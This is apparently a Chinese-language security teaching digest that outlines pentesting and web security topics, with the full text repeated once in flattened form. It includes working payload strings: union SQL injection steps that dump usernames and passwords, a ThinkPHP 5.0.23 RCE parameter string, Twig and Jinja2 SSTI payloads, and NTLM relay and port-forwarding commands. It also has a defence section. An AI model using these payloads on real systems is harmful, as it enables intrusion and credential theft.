专注Web及移动安全[红日安全93期]
字数 2198 2025-08-18 11:38:49

Web及移动安全综合教学文档

一、安全动态

1.1 安全学习与工作阶段

  • 初级阶段:学习基础安全概念、网络协议、操作系统原理
  • 中级阶段:掌握渗透测试方法论、常见漏洞原理与利用
  • 高级阶段:深入研究特定领域(如二进制安全、APT攻击)
  • 专家阶段:安全架构设计、安全产品研发、安全战略规划

1.2 安全工程师面试要点

  • 基础网络知识(OSI七层模型、TCP/IP协议栈)
  • 常见漏洞原理与防御(SQL注入、XSS、CSRF等)
  • 渗透测试流程与方法论
  • 安全设备与工具使用经验
  • 安全编码规范与最佳实践

1.3 漏洞周报分析要点

  • CVE编号与漏洞等级评估
  • 受影响系统/软件版本
  • 漏洞利用条件与影响
  • 官方补丁与临时缓解措施

二、Web安全技术

2.1 MySQL手工注入

2.1.1 Union查询注入流程

  1. 判断注入点:' and 1=1 / ' and 1=2
  2. 确定字段数:order by n 逐步测试
  3. 获取数据库信息:union select 1,2,database()
  4. 获取表名:union select 1,2,table_name from information_schema.tables where table_schema=database()
  5. 获取列名:union select 1,2,column_name from information_schema.columns where table_name='users'
  6. 获取数据:union select 1,username,password from users

2.1.2 SQLi-Labs通关要点

  • 1-10关:基础注入技巧
  • 11-20关:POST型注入与报错注入
  • 21-30关:Cookie注入与二次注入
  • 31-40关:宽字节注入与堆叠查询
  • 41-65关:盲注与高级绕过技巧

三、渗透测试技术

3.1 内网渗透技术

  1. SMB存活主机发现

    • 使用nmap扫描:nmap -p445 192.168.1.0/24
    • CrackMapExec工具:cme smb 192.168.1.0/24
  2. 端口转发技术

    • Lcx工具使用:lcx -listen 51 3389 / lcx -slave 攻击机IP 51 目标IP 3389
    • SSH隧道:ssh -L 本地端口:目标IP:目标端口 user@跳板机
  3. 域渗透中继攻击

    • 利用Responder捕获NTLM哈希
    • 使用Impacket的ntlmrelayx.py进行中继
    • 攻击条件:SMB签名未启用

3.2 实战案例技术

  1. Linux木马清除

    • 检查异常进程:ps auxf
    • 检查定时任务:crontab -l
    • 检查启动项:/etc/rc.local, /etc/init.d/
    • 检查网络连接:netstat -antp
    • 清除后门文件并修复权限
  2. 从JS泄露到Webshell

    • 分析前端JS代码寻找敏感接口
    • 利用未授权访问或弱认证获取权限
    • 通过文件上传或模板注入获取Webshell
  3. ThinkPHP渗透

    • 利用已知漏洞如5.0.23 RCE
    • 检查/index.php?s=captcha路由
    • 利用method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=命令

四、安全工具使用

4.1 信息收集工具

  • DMitry
    • 功能:WHOIS查询、子域名扫描、端口扫描、邮件收集
    • 命令:dmitry -wnpb 目标域名

4.2 网络嗅探工具

  • sniffglue
    • 特点:多线程、安全导向的嗅探器
    • 使用:sniffglue -i eth0 -p "port 80 or port 443"

4.3 容器扫描工具

  • Trivy
    • 扫描内容:操作系统包、语言依赖漏洞
    • 命令:trivy image 镜像名称

五、代码审计技术

5.1 SSTI漏洞审计

  • 常见CMS中的SSTI

    • Flask/Jinja2:{{ config.items() }}
    • Twig:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    • Velocity:#set($exec="恶意代码")$exec
  • 审计要点

    1. 查找模板渲染函数调用点
    2. 检查用户输入是否直接传入模板
    3. 测试模板注入payload

六、恶意代码分析

6.1 恶意代码对抗技术

  • 常见对抗手段

    • 反调试技术(IsDebuggerPresent)
    • 代码混淆与加密
    • 环境检测(虚拟机、沙箱)
    • 时间延迟执行
  • 分析方法

    1. 静态分析:字符串、导入表、控制流
    2. 动态分析:沙箱、行为监控
    3. 反混淆:IDAPython脚本、动态脱壳

七、实战防御建议

  1. Web应用防护

    • 输入验证与输出编码
    • 最小权限原则
    • 定期安全扫描与渗透测试
  2. 内网安全

    • 启用SMB签名
    • 网络分段与隔离
    • 监控异常认证行为
  3. 应急响应

    • 建立完整的事件响应流程
    • 保留系统镜像与日志
    • 事后溯源分析与加固

本教学文档涵盖了从基础到进阶的Web及移动安全知识,包括漏洞原理、渗透技术、工具使用和防御策略,可作为安全学习和实践的参考指南。

Web及移动安全综合教学文档 一、安全动态 1.1 安全学习与工作阶段 初级阶段 :学习基础安全概念、网络协议、操作系统原理 中级阶段 :掌握渗透测试方法论、常见漏洞原理与利用 高级阶段 :深入研究特定领域(如二进制安全、APT攻击) 专家阶段 :安全架构设计、安全产品研发、安全战略规划 1.2 安全工程师面试要点 基础网络知识(OSI七层模型、TCP/IP协议栈) 常见漏洞原理与防御(SQL注入、XSS、CSRF等) 渗透测试流程与方法论 安全设备与工具使用经验 安全编码规范与最佳实践 1.3 漏洞周报分析要点 CVE编号与漏洞等级评估 受影响系统/软件版本 漏洞利用条件与影响 官方补丁与临时缓解措施 二、Web安全技术 2.1 MySQL手工注入 2.1.1 Union查询注入流程 判断注入点: ' and 1=1 / ' and 1=2 确定字段数: order by n 逐步测试 获取数据库信息: union select 1,2,database() 获取表名: union select 1,2,table_name from information_schema.tables where table_schema=database() 获取列名: union select 1,2,column_name from information_schema.columns where table_name='users' 获取数据: union select 1,username,password from users 2.1.2 SQLi-Labs通关要点 1-10关:基础注入技巧 11-20关:POST型注入与报错注入 21-30关:Cookie注入与二次注入 31-40关:宽字节注入与堆叠查询 41-65关:盲注与高级绕过技巧 三、渗透测试技术 3.1 内网渗透技术 SMB存活主机发现 : 使用nmap扫描: nmap -p445 192.168.1.0/24 CrackMapExec工具: cme smb 192.168.1.0/24 端口转发技术 : Lcx工具使用: lcx -listen 51 3389 / lcx -slave 攻击机IP 51 目标IP 3389 SSH隧道: ssh -L 本地端口:目标IP:目标端口 user@跳板机 域渗透中继攻击 : 利用Responder捕获NTLM哈希 使用Impacket的ntlmrelayx.py进行中继 攻击条件:SMB签名未启用 3.2 实战案例技术 Linux木马清除 : 检查异常进程: ps auxf 检查定时任务: crontab -l 检查启动项: /etc/rc.local , /etc/init.d/ 检查网络连接: netstat -antp 清除后门文件并修复权限 从JS泄露到Webshell : 分析前端JS代码寻找敏感接口 利用未授权访问或弱认证获取权限 通过文件上传或模板注入获取Webshell ThinkPHP渗透 : 利用已知漏洞如5.0.23 RCE 检查 /index.php?s=captcha 路由 利用 method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=命令 四、安全工具使用 4.1 信息收集工具 DMitry : 功能:WHOIS查询、子域名扫描、端口扫描、邮件收集 命令: dmitry -wnpb 目标域名 4.2 网络嗅探工具 sniffglue : 特点:多线程、安全导向的嗅探器 使用: sniffglue -i eth0 -p "port 80 or port 443" 4.3 容器扫描工具 Trivy : 扫描内容:操作系统包、语言依赖漏洞 命令: trivy image 镜像名称 五、代码审计技术 5.1 SSTI漏洞审计 常见CMS中的SSTI : Flask/Jinja2: {{ config.items() }} Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} Velocity: #set($exec="恶意代码")$exec 审计要点 : 查找模板渲染函数调用点 检查用户输入是否直接传入模板 测试模板注入payload 六、恶意代码分析 6.1 恶意代码对抗技术 常见对抗手段 : 反调试技术(IsDebuggerPresent) 代码混淆与加密 环境检测(虚拟机、沙箱) 时间延迟执行 分析方法 : 静态分析:字符串、导入表、控制流 动态分析:沙箱、行为监控 反混淆:IDAPython脚本、动态脱壳 七、实战防御建议 Web应用防护 : 输入验证与输出编码 最小权限原则 定期安全扫描与渗透测试 内网安全 : 启用SMB签名 网络分段与隔离 监控异常认证行为 应急响应 : 建立完整的事件响应流程 保留系统镜像与日志 事后溯源分析与加固 本教学文档涵盖了从基础到进阶的Web及移动安全知识,包括漏洞原理、渗透技术、工具使用和防御策略,可作为安全学习和实践的参考指南。